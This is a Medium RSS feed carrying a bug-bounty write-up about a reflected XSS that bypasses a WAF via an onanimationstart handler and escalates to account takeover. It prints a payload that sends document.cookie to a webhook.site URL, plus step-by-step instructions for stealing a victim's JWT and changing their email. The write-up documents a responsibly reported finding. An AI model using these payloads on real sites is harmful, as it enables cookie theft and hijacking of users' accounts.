<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by THE_DARK_KNIGHT on Medium]]></title>
        <description><![CDATA[Stories by THE_DARK_KNIGHT on Medium]]></description>
        <link>https://medium.com/@dodge48285?source=rss-271f5130f943------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*U95X3M2sHxW91m7u9BrI2w.jpeg</url>
            <title>Stories by THE_DARK_KNIGHT on Medium</title>
            <link>https://medium.com/@dodge48285?source=rss-271f5130f943------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 00:18:45 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@dodge48285/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[No Password, No Problem: Account Takeover via Cleverly Placed XSS — Here’s How I Earned $$$]]></title>
            <link>https://medium.com/@dodge48285/no-password-no-problem-account-takeover-via-cleverly-placed-xss-heres-how-i-earned-33ac75c72cb4?source=rss-271f5130f943------2</link>
            <guid isPermaLink="false">https://medium.com/p/33ac75c72cb4</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[first-bounty]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[account-takeover]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <dc:creator><![CDATA[THE_DARK_KNIGHT]]></dc:creator>
            <pubDate>Thu, 22 May 2025 14:56:16 GMT</pubDate>
            <atom:updated>2025-05-24T06:03:00.819Z</atom:updated>
            <content:encoded><![CDATA[<h3>Account Takeover via Cleverly Placed XSS — Here’s How I Earned $$$</h3><p>“بسم الله و الصلاة و السلام على رسول الله الحمد لله الذي علم بالقلم علم الإنسان ما لم يعلم و الصلاة و السلام على خير معلم الناس الخير محمد”</p><p>My Name is Mahmoud Abdelmoneam I will show you how I got a XSS To ATO in a Public Bug Bounty Program on<strong> Bugcrowd</strong></p><p><em>let’s Start With My Story</em></p><h4>Here’s how it happened:</h4><p>The program doesn&#39;t use password to login you only write the email and det OTP write it and you successfully login, so When i was exploring i found parameter that reflect in page but as you know the EVIL hax come <strong>THE WAAAF</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Vpa_m4rhKE1Y_6i4" /><figcaption>Photo by <a href="https://unsplash.com/@technick_inc?utm_source=medium&amp;utm_medium=referral">Tech Nick</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><h4>Bypassing the Waf</h4><p>The parameter is <em>countryCode </em>was reflect in</p><pre>&lt;a href=&quot;https://example/new-customer?countryCode=dodge&quot;&gt;&lt;/a&gt;</pre><p>And the Waf blocked “&lt;” so i can’t use html Tags and make block to most Event handler so i found that the waf doesn’t filter <strong><em>animation </em></strong>event so i searched for animation name in css i find it <strong><em>Scale </em></strong>so i craft this payload</p><pre>?countryCode=dodge&quot;%20style=&quot;animation:scale%200.2s&quot;%20onanimationstart=alert(1)&gt;</pre><p>And BOOOOM xss alertt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*xehq9ENstyAVbkjSufC1YQ.gif" /><figcaption>photo by <a href="https://giphy.com/natgeochannel/"><strong>@natgeochannel</strong></a><strong> on giphy.com</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/789/1*_TIL99uvKS1kO77XTESMmw.png" /></figure><h4>LET’S Escalating to account takeover</h4><blockquote>When the user change his email the program doesn&#39;t take password or anything to verify and the request is like this</blockquote><pre>PATCH /consumers/dk/me<br>   Host: api.example.com<br>   Authorization: Bearer &lt;jwt&gt;<br>   Content-Type: application/json-patch+json<br><br>   [{&quot;op&quot;:&quot;replace&quot;,&quot;path&quot;:&quot;/emailAddress&quot;,&quot;value&quot;:&quot;usernew@email.com&quot;}]</pre><blockquote>I think you caught me brooo</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*BFd7hqwwpcwv4JsClotviw.gif" /><figcaption>gif by <a href="https://giphy.com/ufc/"><strong>@ufc</strong></a><strong> on giphy.com</strong></figcaption></figure><blockquote>Take the jwt token from xss and change the email of victum and BOOM you take it and the victum can’t take it now</blockquote><h3>Steps to Reproduce</h3><p><strong>Create webhook</strong> on webhook.site<br><strong>Host payload:</strong></p><pre>https://example.com?countryCode=dodge&quot;%20style=animation:scale%200.2s%20onanimationstart=fetch(`https://webhook.site/&lt;your-path&gt;?c=${document.cookie}`)</pre><blockquote>Once the victim clicks the link, their cookies (including JWT token) will be exfiltrated to your webhook.</blockquote><ol><li>Send the <strong>malicious link </strong>to the victim</li><li>Victum clicks the link → <strong>XSS </strong>fires → <strong>JWT </strong>leaked</li><li>Copy the victim’s <strong>JWT </strong>token from the webhook.✅</li><li>Use stolen JWT in Authorization header to send Request as i mentioned previous</li><li>Since <strong>there’s no re-verification</strong>, the email gets updated and send <strong>OTP </strong>to verfiy</li><li>Submit <strong>OTP </strong>that sent to attacker email using the same JWT:</li></ol><pre>POST /consumers/dk/me/verify<br>   Authorization: Bearer &lt;leaked_jwt&gt;<br><br>{&quot;verificationCode&quot;:&quot;123456&quot;}</pre><p>🎉 Full account takeover achieved.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/450/1*a_g_MX4-2jQ4slw4TWbgPw.gif" /><figcaption>by privite user on giphy.com</figcaption></figure><p><strong><em>📅 Timeline</em></strong></p><blockquote><strong><em>13/05/25 — Reported</em></strong></blockquote><blockquote><strong><em>18/05/25 — Confirmed bug</em></strong></blockquote><blockquote><strong><em>22/05/25 — Started their payment process with bugcrowd and told me final amount of award $$$ 🥳</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SEHVmuKBeEta-xJ7wjWHDQ.png" /></figure><p><strong>You can Follow me in linkedin:-</strong></p><p><a href="https://www.linkedin.com/in/mahmoud-abdelmenam-20121b331">https://www.linkedin.com/in/mahmoud-abdelmenam-20121b331</a>/</p><p>Thank you for reading this write-up! 🙌<br>I hope you learned something new. Stay motivated 🔥 — your turn is next! 🤝<br>See you in the next amazing one. Bye! 👋</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=33ac75c72cb4" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>